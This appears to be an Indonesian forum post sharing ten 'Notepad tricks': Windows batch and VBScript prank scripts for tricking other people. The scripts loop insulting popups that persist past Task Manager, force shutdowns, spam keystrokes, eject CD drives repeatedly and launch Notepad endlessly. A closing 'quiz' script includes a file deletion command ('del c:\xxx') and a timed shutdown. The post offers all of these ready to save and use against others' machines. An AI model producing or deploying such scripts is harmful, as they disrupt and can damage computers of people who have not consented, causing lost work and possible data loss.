10 trik notepaddddddzzz

1.message yang nongol melulu
Code:
@ECHO off
:Begin
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN
save namafile.BAT
ket:
walaupun di kill task manager,masih tetep nongol message nya

2.bikin shutdown+message
Code:
@echo off
msg * apaan sih lo
shutdown -s -c "Error! muka mu standar abis"
save namafile.BAT

3.Mainin Caps Lock button
Code:
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
save namafile.vbs

4.buka tutup CD/DVD
Code:
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
save namafile.vbs

5.bikin vbscript nongol mlulu
Code:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
save namafile.vbs
ket:di task manager full wscript yg lg running

6.teken tombol backspace mlulu
Code:
MsgBox "kembali ke menu sebelumnya"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
save namafile.vbs

7.otomatis ngetik "lu jelek banget sih" di notepad/word
Code:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "lu jelek banget sih!!!"
loop
save namafile.vbs

8.buka notepad trus menerus
Code:
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
save namafile.BAT

9.otomatis buka notepad lalu ngetik apa yg lo mau
Code:
WScript.Sleep 1800
WScript.Sleep 100
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "mu "
WScript.Sleep 50
WshShell.SendKeys "je"
WScript.Sleep 50
WshShell.SendKeys "le"
WScript.Sleep 50
WshShell.SendKeys "k "
WScript.Sleep 50
WshShell.SendKeys " se"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "li"
WScript.Sleep 50
WshShell.SendKeys " y"
WScript.Sleep 50
WshShell.SendKeys "a"
WScript.Sleep 50
WshShell.SendKeys " h"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!! "

save namafile.vbs

Code:
@echo off
title quiz hari ini Smile
:menu
cls
echo jika kamu kena virus apa yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t 30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
save nama file .bat


wwkwkk
mantap nie jailin wkwkwk

CREDIT: MY BRAINSS ( rama)